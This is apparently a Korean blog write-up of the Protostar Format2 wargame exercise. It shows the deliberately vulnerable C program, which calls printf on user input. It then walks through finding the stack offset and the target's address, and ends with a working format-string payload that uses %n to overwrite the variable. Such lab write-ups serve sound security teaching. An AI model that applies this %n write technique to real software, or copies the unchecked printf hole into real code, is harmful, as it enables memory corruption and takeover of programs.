ii4gsp

Exploit Exercises [Protostar - Format2] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Format2]

ii4gsp 2020. 1. 17. 18:38
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

target의 값을 64로 바꿔줘야한다.

 

 

 

 

AAAA와 %08x 4개를 입력값으로 주니 4번째에서 입력한 AAAA가 보인다.

 

 

 

 

objdump -t 명령으로 target의 주소를 알아냈다.

target의 주소는 0x080496e4 이다.

페이로드는 4byte + target주소 + %08x%08x%08x%32c%n

target의 주소에 64가 저장되어 "you have modified the targe :)"이란 문자가 출력될것 이다.

 

 

 

 

4 + 4 + 8 + 8 + 8 + 32 = 64

(python -c 'print "\x90" * 4 + "\xe4\x96\x04\x08" + "%08x%08x%08x%32c%n"';cat) | ./format2
Comments